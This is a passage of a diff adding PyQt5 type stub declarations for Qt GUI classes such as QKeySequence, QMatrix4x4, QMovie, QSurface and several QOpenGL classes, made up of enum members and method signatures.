QKeySequence.StandardKey + Underline = ... # type: QKeySequence.StandardKey + MoveToNextChar = ... # type: QKeySequence.StandardKey + MoveToPreviousChar = ... # type: QKeySequence.StandardKey + MoveToNextWord = ... # type: QKeySequence.StandardKey + MoveToPreviousWord = ... # type: QKeySequence.StandardKey + MoveToNextLine = ... # type: QKeySequence.StandardKey + MoveToPreviousLine = ... # type: QKeySequence.StandardKey + MoveToNextPage = ... # type: QKeySequence.StandardKey + MoveToPreviousPage = ... # type: QKeySequence.StandardKey + MoveToStartOfLine = ... # type: QKeySequence.StandardKey + MoveToEndOfLine = ... # type: QKeySequence.StandardKey + MoveToStartOfBlock = ... # type: QKeySequence.StandardKey + MoveToEndOfBlock = ... # type: QKeySequence.StandardKey + MoveToStartOfDocument = ... # type: QKeySequence.StandardKey + MoveToEndOfDocument = ... # type: QKeySequence.StandardKey + SelectNextChar = ... # type: QKeySequence.StandardKey + SelectPreviousChar = ... # type: QKeySequence.StandardKey + SelectNextWord = ... # type: QKeySequence.StandardKey + SelectPreviousWord = ... # type: QKeySequence.StandardKey + SelectNextLine = ... # type: QKeySequence.StandardKey + SelectPreviousLine = ... # type: QKeySequence.StandardKey + SelectNextPage = ... # type: QKeySequence.StandardKey + SelectPreviousPage = ... # type: QKeySequence.StandardKey + SelectStartOfLine = ... # type: QKeySequence.StandardKey + SelectEndOfLine = ... # type: QKeySequence.StandardKey + SelectStartOfBlock = ... # type: QKeySequence.StandardKey + SelectEndOfBlock = ... # type: QKeySequence.StandardKey + SelectStartOfDocument = ... # type: QKeySequence.StandardKey + SelectEndOfDocument = ... # type: QKeySequence.StandardKey + DeleteStartOfWord = ... # type: QKeySequence.StandardKey + DeleteEndOfWord = ... # type: QKeySequence.StandardKey + DeleteEndOfLine = ... # type: QKeySequence.StandardKey + InsertParagraphSeparator = ... # type: QKeySequence.StandardKey + InsertLineSeparator = ... # type: QKeySequence.StandardKey + SaveAs = ... # type: QKeySequence.StandardKey + Preferences = ... # type: QKeySequence.StandardKey + Quit = ... # type: QKeySequence.StandardKey + FullScreen = ... # type: QKeySequence.StandardKey + Deselect = ... # type: QKeySequence.StandardKey + DeleteCompleteLine = ... # type: QKeySequence.StandardKey + Backspace = ... # type: QKeySequence.StandardKey + Cancel = ... # type: QKeySequence.StandardKey + + class SequenceMatch(int): + NoMatch = ... # type: QKeySequence.SequenceMatch + PartialMatch = ... # type: QKeySequence.SequenceMatch + ExactMatch = ... # type: QKeySequence.SequenceMatch + + class SequenceFormat(int): + NativeText = ... # type: QKeySequence.SequenceFormat + PortableText = ... # type: QKeySequence.SequenceFormat + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, ks: typing.Union['QKeySequence', 'QKeySequence.StandardKey', str, int]) -> None: ... + @typing.overload + def __init__(self, key: str, format: 'QKeySequence.SequenceFormat' = ...) -> None: ... + @typing.overload + def __init__(self, k1: int, key2: int = ..., key3: int = ..., key4: int = ...) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def __hash__(self) -> int: ... + @staticmethod + def listToString(list: typing.Iterable[typing.Union['QKeySequence', 'QKeySequence.StandardKey', str, int]], format: 'QKeySequence.SequenceFormat' = ...) -> str: ... + @staticmethod + def listFromString(str: str, format: 'QKeySequence.SequenceFormat' = ...) -> typing.List['QKeySequence']: ... + @staticmethod + def keyBindings(key: 'QKeySequence.StandardKey') -> typing.List['QKeySequence']: ... + @staticmethod + def fromString(str: str, format: 'QKeySequence.SequenceFormat' = ...) -> 'QKeySequence': ... + def toString(self, format: 'QKeySequence.SequenceFormat' = ...) -> str: ... + def swap(self, other: 'QKeySequence') -> None: ... + def isDetached(self) -> bool: ... + def __getitem__(self, i: int) -> int: ... + @staticmethod + def mnemonic(text: str) -> 'QKeySequence': ... + def matches(self, seq: typing.Union['QKeySequence', 'QKeySequence.StandardKey', str, int]) -> 'QKeySequence.SequenceMatch': ... + def isEmpty(self) -> bool: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + + +class QMatrix4x4(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + @typing.overload + def __init__(self, m11: float, m12: float, m13: float, m14: float, m21: float, m22: float, m23: float, m24: float, m31: float, m32: float, m33: float, m34: float, m41: float, m42: float, m43: float, m44: float) -> None: ... + @typing.overload + def __init__(self, transform: 'QTransform') -> None: ... + @typing.overload + def __init__(self, a0: 'QMatrix4x4') -> None: ... + + def __neg__(self) -> 'QMatrix4x4': ... + def isAffine(self) -> bool: ... + @typing.overload + def viewport(self, left: float, bottom: float, width: float, height: float, nearPlane: float = ..., farPlane: float = ...) -> None: ... + @typing.overload + def viewport(self, rect: QtCore.QRectF) -> None: ... + def mapVector(self, vector: 'QVector3D') -> 'QVector3D': ... + @typing.overload + def map(self, point: QtCore.QPoint) -> QtCore.QPoint: ... + @typing.overload + def map(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def map(self, point: 'QVector3D') -> 'QVector3D': ... + @typing.overload + def map(self, point: 'QVector4D') -> 'QVector4D': ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def setRow(self, index: int, value: 'QVector4D') -> None: ... + def row(self, index: int) -> 'QVector4D': ... + def setColumn(self, index: int, value: 'QVector4D') -> None: ... + def column(self, index: int) -> 'QVector4D': ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def optimize(self) -> None: ... + def data(self) -> typing.List[float]: ... + @typing.overload + def mapRect(self, rect: QtCore.QRect) -> QtCore.QRect: ... + @typing.overload + def mapRect(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def toTransform(self) -> 'QTransform': ... + @typing.overload + def toTransform(self, distanceToPlane: float) -> 'QTransform': ... + def copyDataTo(self) -> typing.List[float]: ... + def lookAt(self, eye: 'QVector3D', center: 'QVector3D', up: 'QVector3D') -> None: ... + def perspective(self, angle: float, aspect: float, nearPlane: float, farPlane: float) -> None: ... + def frustum(self, left: float, right: float, bottom: float, top: float, nearPlane: float, farPlane: float) -> None: ... + @typing.overload + def ortho(self, rect: QtCore.QRect) -> None: ... + @typing.overload + def ortho(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def ortho(self, left: float, right: float, bottom: float, top: float, nearPlane: float, farPlane: float) -> None: ... + @typing.overload + def rotate(self, angle: float, vector: 'QVector3D') -> None: ... + @typing.overload + def rotate(self, angle: float, x: float, y: float, z: float = ...) -> None: ... + @typing.overload + def rotate(self, quaternion: 'QQuaternion') -> None: ... + @typing.overload + def translate(self, vector: 'QVector3D') -> None: ... + @typing.overload + def translate(self, x: float, y: float) -> None: ... + @typing.overload + def translate(self, x: float, y: float, z: float) -> None: ... + @typing.overload + def scale(self, vector: 'QVector3D') -> None: ... + @typing.overload + def scale(self, x: float, y: float) -> None: ... + @typing.overload + def scale(self, x: float, y: float, z: float) -> None: ... + @typing.overload + def scale(self, factor: float) -> None: ... + def normalMatrix(self) -> QMatrix3x3: ... + def transposed(self) -> 'QMatrix4x4': ... + def inverted(self) -> typing.Tuple['QMatrix4x4', bool]: ... + def determinant(self) -> float: ... + def __repr__(self) -> str: ... + + +class QMovie(QtCore.QObject): + + class CacheMode(int): + CacheNone = ... # type: QMovie.CacheMode + CacheAll = ... # type: QMovie.CacheMode + + class MovieState(int): + NotRunning = ... # type: QMovie.MovieState + Paused = ... # type: QMovie.MovieState + Running = ... # type: QMovie.MovieState + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, device: QtCore.QIODevice, format: typing.Union[QtCore.QByteArray, bytes, bytearray] = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Union[QtCore.QByteArray, bytes, bytearray] = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def lastErrorString(self) -> str: ... + def lastError(self) -> QImageReader.ImageReaderError: ... + def stop(self) -> None: ... + def setPaused(self, paused: bool) -> None: ... + def jumpToNextFrame(self) -> bool: ... + def start(self) -> None: ... + def frameChanged(self, frameNumber: int) -> None: ... + def finished(self) -> None: ... + def error(self, error: QImageReader.ImageReaderError) -> None: ... + def stateChanged(self, state: 'QMovie.MovieState') -> None: ... + def updated(self, rect: QtCore.QRect) -> None: ... + def resized(self, size: QtCore.QSize) -> None: ... + def started(self) -> None: ... + def setCacheMode(self, mode: 'QMovie.CacheMode') -> None: ... + def cacheMode(self) -> 'QMovie.CacheMode': ... + def setScaledSize(self, size: QtCore.QSize) -> None: ... + def scaledSize(self) -> QtCore.QSize: ... + def speed(self) -> int: ... + def setSpeed(self, percentSpeed: int) -> None: ... + def currentFrameNumber(self) -> int: ... + def nextFrameDelay(self) -> int: ... + def frameCount(self) -> int: ... + def loopCount(self) -> int: ... + def jumpToFrame(self, frameNumber: int) -> bool: ... + def isValid(self) -> bool: ... + def currentPixmap(self) -> QPixmap: ... + def currentImage(self) -> QImage: ... + def frameRect(self) -> QtCore.QRect: ... + def state(self) -> 'QMovie.MovieState': ... + def backgroundColor(self) -> QColor: ... + def setBackgroundColor(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def format(self) -> QtCore.QByteArray: ... + def setFormat(self, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def fileName(self) -> str: ... + def setFileName(self, fileName: str) -> None: ... + def device(self) -> QtCore.QIODevice: ... + def setDevice(self, device: QtCore.QIODevice) -> None: ... + @staticmethod + def supportedFormats() -> typing.List[QtCore.QByteArray]: ... + + +class QSurface(sip.simplewrapper): + + class SurfaceType(int): + RasterSurface = ... # type: QSurface.SurfaceType + OpenGLSurface = ... # type: QSurface.SurfaceType + RasterGLSurface = ... # type: QSurface.SurfaceType + OpenVGSurface = ... # type: QSurface.SurfaceType + VulkanSurface = ... # type: QSurface.SurfaceType + MetalSurface = ... # type: QSurface.SurfaceType + + class SurfaceClass(int): + Window = ... # type: QSurface.SurfaceClass + Offscreen = ... # type: QSurface.SurfaceClass + + @typing.overload + def __init__(self, type: 'QSurface.SurfaceClass') -> None: ... + @typing.overload + def __init__(self, a0: 'QSurface') -> None: ... + + def supportsOpenGL(self) -> bool: ... + def size(self) -> QtCore.QSize: ... + def surfaceType(self) -> 'QSurface.SurfaceType': ... + def format(self) -> 'QSurfaceFormat': ... + def surfaceClass(self) -> 'QSurface.SurfaceClass': ... + + +class QOffscreenSurface(QtCore.QObject, QSurface): + + @typing.overload + def __init__(self, screen: typing.Optional['QScreen'] = ...) -> None: ... + @typing.overload + def __init__(self, screen: 'QScreen', parent: QtCore.QObject) -> None: ... + + def setNativeHandle(self, handle: PyQt5.sip.voidptr) -> None: ... + def nativeHandle(self) -> PyQt5.sip.voidptr: ... + def screenChanged(self, screen: 'QScreen') -> None: ... + def setScreen(self, screen: 'QScreen') -> None: ... + def screen(self) -> 'QScreen': ... + def size(self) -> QtCore.QSize: ... + def requestedFormat(self) -> 'QSurfaceFormat': ... + def format(self) -> 'QSurfaceFormat': ... + def setFormat(self, format: 'QSurfaceFormat') -> None: ... + def isValid(self) -> bool: ... + def destroy(self) -> None: ... + def create(self) -> None: ... + def surfaceType(self) -> QSurface.SurfaceType: ... + + +class QOpenGLBuffer(sip.simplewrapper): + + class RangeAccessFlag(int): + RangeRead = ... # type: QOpenGLBuffer.RangeAccessFlag + RangeWrite = ... # type: QOpenGLBuffer.RangeAccessFlag + RangeInvalidate = ... # type: QOpenGLBuffer.RangeAccessFlag + RangeInvalidateBuffer = ... # type: QOpenGLBuffer.RangeAccessFlag + RangeFlushExplicit = ... # type: QOpenGLBuffer.RangeAccessFlag + RangeUnsynchronized = ... # type: QOpenGLBuffer.RangeAccessFlag + + class Access(int): + ReadOnly = ... # type: QOpenGLBuffer.Access + WriteOnly = ... # type: QOpenGLBuffer.Access + ReadWrite = ... # type: QOpenGLBuffer.Access + + class UsagePattern(int): + StreamDraw = ... # type: QOpenGLBuffer.UsagePattern + StreamRead = ... # type: QOpenGLBuffer.UsagePattern + StreamCopy = ... # type: QOpenGLBuffer.UsagePattern + StaticDraw = ... # type: QOpenGLBuffer.UsagePattern + StaticRead = ... # type: QOpenGLBuffer.UsagePattern + StaticCopy = ... # type: QOpenGLBuffer.UsagePattern + DynamicDraw = ... # type: QOpenGLBuffer.UsagePattern + DynamicRead = ... # type: QOpenGLBuffer.UsagePattern + DynamicCopy = ... # type: QOpenGLBuffer.UsagePattern + + class Type(int): + VertexBuffer = ... # type: QOpenGLBuffer.Type + IndexBuffer = ... # type: QOpenGLBuffer.Type + PixelPackBuffer = ... # type: QOpenGLBuffer.Type + PixelUnpackBuffer = ... # type: QOpenGLBuffer.Type + + class RangeAccessFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QOpenGLBuffer.RangeAccessFlags', 'QOpenGLBuffer.RangeAccessFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLBuffer.RangeAccessFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QOpenGLBuffer.RangeAccessFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, type: 'QOpenGLBuffer.Type') -> None: ... + @typing.overload + def __init__(self, other: 'QOpenGLBuffer') -> None: ... + + def mapRange(self, offset: int, count: int, access: typing.Union['QOpenGLBuffer.RangeAccessFlags', 'QOpenGLBuffer.RangeAccessFlag']) -> PyQt5.sip.voidptr: ... + def unmap(self) -> bool: ... + def map(self, access: 'QOpenGLBuffer.Access') -> PyQt5.sip.voidptr: ... + @typing.overload + def allocate(self, data: PyQt5.sip.voidptr, count: int) -> None: ... + @typing.overload + def allocate(self, count: int) -> None: ... + def write(self, offset: int, data: PyQt5.sip.voidptr, count: int) -> None: ... + def read(self, offset: int, data: PyQt5.sip.voidptr, count: int) -> bool: ... + def __len__(self) -> int: ... + def size(self) -> int: ... + def bufferId(self) -> int: ... + @typing.overload + def release(self) -> None: ... + @typing.overload + @staticmethod + def release(type: 'QOpenGLBuffer.Type') -> None: ... + def bind(self) -> bool: ... + def destroy(self) -> None: ... + def isCreated(self) -> bool: ... + def create(self) -> bool: ... + def setUsagePattern(self, value: 'QOpenGLBuffer.UsagePattern') -> None: ... + def usagePattern(self) -> 'QOpenGLBuffer.UsagePattern': ... + def type(self) -> 'QOpenGLBuffer.Type': ... + + +class QOpenGLContextGroup(QtCore.QObject): + + @staticmethod + def currentContextGroup() -> 'QOpenGLContextGroup': ... + def shares(self) -> typing.List['QOpenGLContext']: ... + + +class QOpenGLContext(QtCore.QObject): + + class OpenGLModuleType(int): + LibGL = ... # type: QOpenGLContext.OpenGLModuleType + LibGLES = ... # type: QOpenGLContext.OpenGLModuleType + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + @staticmethod + def globalShareContext() -> 'QOpenGLContext': ... + @staticmethod + def supportsThreadedOpenGL() -> bool: ... + def nativeHandle(self) -> typing.Any: ... + def setNativeHandle(self, handle: typing.Any) -> None: ... + def isOpenGLES(self) -> bool: ... + @staticmethod + def openGLModuleType() -> 'QOpenGLContext.OpenGLModuleType': ... + @staticmethod + def openGLModuleHandle() -> PyQt5.sip.voidptr: ... + def versionFunctions(self, versionProfile: typing.Optional['QOpenGLVersionProfile'] = ...) -> typing.Any: ... + def aboutToBeDestroyed(self) -> None: ... + def hasExtension(self, extension: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def extensions(self) -> typing.Set[QtCore.QByteArray]: ... + @staticmethod + def areSharing(first: 'QOpenGLContext', second: 'QOpenGLContext') -> bool: ... + @staticmethod + def currentContext() -> 'QOpenGLContext': ... + def surface(self) -> QSurface: ... + def getProcAddress(self, procName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> PyQt5.sip.voidptr: ... + def swapBuffers(self, surface: QSurface) -> None: ... + def doneCurrent(self) -> None: ... + def makeCurrent(self, surface: QSurface) -> bool: ... + def defaultFramebufferObject(self) -> int: ... + def screen(self) -> 'QScreen': ... + def shareGroup(self) -> QOpenGLContextGroup: ... + def shareContext(self) -> 'QOpenGLContext': ... + def format(self) -> 'QSurfaceFormat': ... + def isValid(self) -> bool: ... + def create(self) -> bool: ... + def setScreen(self, screen: 'QScreen') -> None: ... + def setShareContext(self, shareContext: 'QOpenGLContext') -> None: ... + def setFormat(self, format: 'QSurfaceFormat') -> None: ... + + +class QOpenGLVersionProfile(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, format: 'QSurfaceFormat') -> None: ... + @typing.overload + def __init__(self, other: 'QOpenGLVersionProfile') -> None: ... + + def isValid(self) -> bool: ... + def isLegacyVersion(self) -> bool: ... + def hasProfiles(self) -> bool: ... + def setProfile(self, profile: 'QSurfaceFormat.OpenGLContextProfile') -> None: ... + def profile(self) -> 'QSurfaceFormat.OpenGLContextProfile': ... + def setVersion(self, majorVersion: int, minorVersion: int) -> None: ... + def version(self) -> typing.Tuple[int, int]: ... + + +class QOpenGLDebugMessage(sip.simplewrapper): + + class Severity(int): + InvalidSeverity = ... # type: QOpenGLDebugMessage.Severity + HighSeverity = ... # type: QOpenGLDebugMessage.Severity + MediumSeverity = ... # type: QOpenGLDebugMessage.Severity + LowSeverity = ... # type: QOpenGLDebugMessage.Severity + NotificationSeverity = ... # type: QOpenGLDebugMessage.Severity + AnySeverity = ... # type: QOpenGLDebugMessage.Severity + + class Type(int): + InvalidType = ... # type: QOpenGLDebugMessage.Type + ErrorType = ... # type: QOpenGLDebugMessage.Type + DeprecatedBehaviorType = ... # type: QOpenGLDebugMessage.Type + UndefinedBehaviorType = ... # type: QOpenGLDebugMessage.Type + PortabilityType = ... # type: QOpenGLDebugMessage.Type + PerformanceType = ... # type: QOpenGLDebugMessage.Type + OtherType = ... # type: QOpenGLDebugMessage.Type + MarkerType = ... # type: QOpenGLDebugMessage.Type + GroupPushType = ... # type: QOpenGLDebugMessage.Type + GroupPopType = ... # type: QOpenGLDebugMessage.Type + AnyType = ... # type: QOpenGLDebugMessage.Type + + class Source(int): + InvalidSource = ... # type: QOpenGLDebugMessage.Source + APISource = ... # type: QOpenGLDebugMessage.Source + WindowSystemSource = ... # type: QOpenGLDebugMessage.Source + ShaderCompilerSource = ... # type: QOpenGLDebugMessage.Source + ThirdPartySource = ... # type: QOpenGLDebugMessage.Source + ApplicationSource = ... # type: QOpenGLDebugMessage.Source + OtherSource = ... # type: QOpenGLDebugMessage.Source + AnySource = ... # type: QOpenGLDebugMessage.Source + + class Sources(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QOpenGLDebugMessage.Sources', 'QOpenGLDebugMessage.Source']) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLDebugMessage.Sources') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QOpenGLDebugMessage.Sources': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Types(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QOpenGLDebugMessage.Types', 'QOpenGLDebugMessage.Type']) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLDebugMessage.Types') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QOpenGLDebugMessage.Types': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Severities(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QOpenGLDebugMessage.Severities', 'QOpenGLDebugMessage.Severity']) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLDebugMessage.Severities') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QOpenGLDebugMessage.Severities': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, debugMessage: 'QOpenGLDebugMessage') -> None: ... + + @staticmethod + def createThirdPartyMessage(text: str, id: int = ..., severity: 'QOpenGLDebugMessage.Severity' = ..., type: 'QOpenGLDebugMessage.Type' = ...) -> 'QOpenGLDebugMessage': ... + @staticmethod + def createApplicationMessage(text: str, id: int = ..., severity: 'QOpenGLDebugMessage.Severity' = ..., type: 'QOpenGLDebugMessage.Type' = ...) -> 'QOpenGLDebugMessage': ... + def message(self) -> str: ... + def id(self) -> int: ... + def severity(self) -> 'QOpenGLDebugMessage.Severity': ... + def type(self) -> 'QOpenGLDebugMessage.Type': ... + def source(self) -> 'QOpenGLDebugMessage.Source': ... + def swap(self, debugMessage: 'QOpenGLDebugMessage') -> None: ... + + +class QOpenGLDebugLogger(QtCore.QObject): + + class LoggingMode(int): + AsynchronousLogging = ... # type: QOpenGLDebugLogger.LoggingMode + SynchronousLogging = ... # type: QOpenGLDebugLogger.LoggingMode + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def messageLogged(self, debugMessage: QOpenGLDebugMessage) -> None: ... + def stopLogging(self) -> None: ... + def startLogging(self, loggingMode: 'QOpenGLDebugLogger.LoggingMode' = ...) -> None: ... + def logMessage(self, debugMessage: QOpenGLDebugMessage) -> None: ... + def loggedMessages(self) -> typing.List[QOpenGLDebugMessage]: ... + @typing.overload + def disableMessages(self, sources: typing.Union[QOpenGLDebugMessage.Sources, QOpenGLDebugMessage.Source] = ..., types: typing.Union[QOpenGLDebugMessage.Types, QOpenGLDebugMessage.Type] = ..., severities: typing.Union[QOpenGLDebugMessage.Severities, QOpenGLDebugMessage.Severity] = ...) -> None: ... + @typing.overload + def disableMessages(self, ids: typing.Iterable[int], sources: typing.Union[QOpenGLDebugMessage.Sources, QOpenGLDebugMessage.Source] = ..., types: typing.Union[QOpenGLDebugMessage.Types, QOpenGLDebugMessage.Type] = ...) -> None: ... + @typing.overload + def enableMessages(self, sources: typing.Union[QOpenGLDebugMessage.Sources, QOpenGLDebugMessage.Source] = ..., types: typing.Union[QOpenGLDebugMessage.Types, QOpenGLDebugMessage.Type] = ..., severities: typing.Union[QOpenGLDebugMessage.Severities, QOpenGLDebugMessage.Severity] = ...) -> None: ... + @typing.overload + def enableMessages(self, ids: typing.Iterable[int], sources: typing.Union[QOpenGLDebugMessage.Sources, QOpenGLDebugMessage.Source] = ..., types: typing.Union[QOpenGLDebugMessage.Types, QOpenGLDebugMessage.Type] = ...) -> None: ... + def popGroup(self) -> None: ... + def pushGroup(self, name: str, id: int = ..., source: QOpenGLDebugMessage.Source = ...) -> None: ... + def maximumMessageLength(self) -> int: ... + def loggingMode(self) -> 'QOpenGLDebugLogger.LoggingMode': ... + def isLogging(self) -> bool: ... + def initialize(self) -> bool: ... + + +class QOpenGLFramebufferObject(sip.simplewrapper): + + class FramebufferRestorePolicy(int): + DontRestoreFramebufferBinding = ... # type: QOpenGLFramebufferObject.FramebufferRestorePolicy + RestoreFramebufferBindingToDefault = ... # type: QOpenGLFramebufferObject.FramebufferRestorePolicy + RestoreFrameBufferBinding = ... # type: QOpenGLFramebufferObject.FramebufferRestorePolicy + + class Attachment(int): + NoAttachment = ... # type: QOpenGLFramebufferObject.Attachment + CombinedDepthStencil = ... # type: QOpenGLFramebufferObject.Attachment + Depth = ... # type: QOpenGLFramebufferObject.Attachment + + @typing.overload + def __init__(self, size: QtCore.QSize, target: int = ...) -> None: ... + @typing.overload + def __init__(self, width: int, height: int, target: int = ...) -> None: ... + @typing.overload + def __init__(self, size: QtCore.QSize, attachment: 'QOpenGLFramebufferObject.Attachment', target: int = ..., internal_format: int = ...) -> None: ... + @typing.overload + def __init__(self, width: int, height: int, attachment: 'QOpenGLFramebufferObject.Attachment', target: int = ..., internal_format: int = ...) -> None: ... + @typing.overload + def __init__(self, size: QtCore.QSize, format: 'QOpenGLFramebufferObjectFormat') -> None: ... + @typing.overload + def __init__(self, width: int, height: int, format: 'QOpenGLFramebufferObjectFormat') -> None: ... + + def sizes(self) -> typing.List[QtCore.QSize]: ... + @typing.overload + def addColorAttachment(self, size: QtCore.QSize, internal_format: int = ...) -> None: ... + @typing.overload + def addColorAttachment(self, width: int, height: int, internal_format: int = ...) -> None: ... + @typing.overload + def takeTexture(self) -> int: ... + @typing.overload + def takeTexture(self, colorAttachmentIndex: int) -> int: ... + @typing.overload + @staticmethod + def blitFramebuffer(target: 'QOpenGLFramebufferObject', targetRect: QtCore.QRect, source: 'QOpenGLFramebufferObject', sourceRect: QtCore.QRect, buffers: int = ..., filter: int = ...) -> None: ... + @typing.overload + @staticmethod + def blitFramebuffer(target: 'QOpenGLFramebufferObject', source: 'QOpenGLFramebufferObject', buffers: int = ..., filter: int = ...) -> None: ... + @typing.overload + @staticmethod + def blitFramebuffer(target: 'QOpenGLFramebufferObject', targetRect: QtCore.QRect, source: 'QOpenGLFramebufferObject', sourceRect: QtCore.QRect, buffers: int, filter: int, readColorAttachmentIndex: int, drawColorAttachmentIndex: int) -> None: ... + @typing.overload + @staticmethod + def blitFramebuffer(target: 'QOpenGLFramebufferObject', targetRect: QtCore.QRect, source: 'QOpenGLFramebufferObject', sourceRect: QtCore.QRect, buffers: int, filter: int, readColorAttachmentIndex: int, drawColorAttachmentIndex: int, restorePolicy: 'QOpenGLFramebufferObject.FramebufferRestorePolicy') -> None: ... + @staticmethod + def hasOpenGLFramebufferBlit() -> bool: ... + @staticmethod + def hasOpenGLFramebufferObjects() -> bool: ... + @staticmethod + def bindDefault() -> bool: ... + def handle(self) -> int: ... + def setAttachment(self, attachment: 'QOpenGLFramebufferObject.Attachment') -> None: ... + def attachment(self) -> 'QOpenGLFramebufferObject.Attachment': ... + @typing.overload + def toImage(self) -> QImage: ... + @typing.overload + def toImage(self, flipped: bool) -> QImage: ... + @typing.overload + def toImage(self, flipped: bool, colorAttachmentIndex: int) -> QImage: ... + def size(self) -> QtCore.QSize: ... + def textures(self) -> typing.List[int]: ... + def texture(self) -> int: ... + def height(self) -> int: ... + def width(self) -> int: ... + def release(self) -> bool: ... + def bind(self) -> bool: ... + def isBound(self) -> bool: ... + def isValid(self) -> bool: ... + def format(self) -> 'QOpenGLFramebufferObjectFormat': ... + + +class QOpenGLFramebufferObjectFormat(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QOpenGLFramebufferObjectFormat') -> None: ... + + def internalTextureFormat(self) -> int: ... + def setInternalTextureFormat(self, internalTextureFormat: int) -> None: ... + def textureTarget(self) -> int: ... + def setTextureTarget(self, target: int) -> None: ... + def attachment(self) -> QOpenGLFramebufferObject.Attachment: ... + def setAttachment(self, attachment: QOpenGLFramebufferObject.Attachment) -> None: ... + def mipmap(self) -> bool: ... + def setMipmap(self, enabled: bool) -> None: ... + def samples(self) -> int: ... + def setSamples(self, samples: int) -> None: ... + + +class QOpenGLPaintDevice(QPaintDevice): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, size: QtCore.QSize) -> None: ... + @typing.overload + def __init__(self, width: int, height: int) -> None: ... + + def metric(self, metric: QPaintDevice.PaintDeviceMetric) -> int: ... + def setDevicePixelRatio(self, devicePixelRatio: float) -> None: ... + def ensureActiveTarget(self) -> None: ... + def paintFlipped(self) -> bool: ... + def setPaintFlipped(self, flipped: bool) -> None: ... + def setDotsPerMeterY(self, a0: float) -> None: ... + def setDotsPerMeterX(self, a0: float) -> None: ... + def dotsPerMeterY(self) -> float: ... + def dotsPerMeterX(self) -> float: ... + def setSize(self, size: QtCore.QSize) -> None: ... + def size(self) -> QtCore.QSize: ... + def context(self) -> QOpenGLContext: ... + def paintEngine(self) -> 'QPaintEngine': ... + + +class QOpenGLPixelTransferOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLPixelTransferOptions') -> None: ... + + def isSwapBytesEnabled(self) -> bool: ... + def setSwapBytesEnabled(self, swapBytes: bool) -> None: ... + def isLeastSignificantBitFirst(self) -> bool: ... + def setLeastSignificantByteFirst(self, lsbFirst: bool) -> None: ... + def rowLength(self) -> int: ... + def setRowLength(self, rowLength: int) -> None: ... + def imageHeight(self) -> int: ... + def setImageHeight(self, imageHeight: int) -> None: ... + def skipPixels(self) -> int: ... + def setSkipPixels(self, skipPixels: int) -> None: ... + def skipRows(self) -> int: ... + def setSkipRows(self, skipRows: int) -> None: ... + def skipImages(self) -> int: ... + def setSkipImages(self, skipImages: int) -> None: ... + def alignment(self) -> int: ... + def setAlignment(self, alignment: int) -> None: ... + def swap(self, other: 'QOpenGLPixelTransferOptions') -> None: ... + + +class QOpenGLShader(QtCore.QObject): + + class ShaderTypeBit(int): + Vertex = ... # type: QOpenGLShader.ShaderTypeBit + Fragment = ... # type: QOpenGLShader.ShaderTypeBit + Geometry = ... # type: QOpenGLShader.ShaderTypeBit + TessellationControl = ... # type: QOpenGLShader.ShaderTypeBit + TessellationEvaluation = ... # type: QOpenGLShader.ShaderTypeBit + Compute = ... # type: QOpenGLShader.ShaderTypeBit + + class ShaderType(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QOpenGLShader.ShaderType', 'QOpenGLShader.ShaderTypeBit']) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLShader.ShaderType') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) 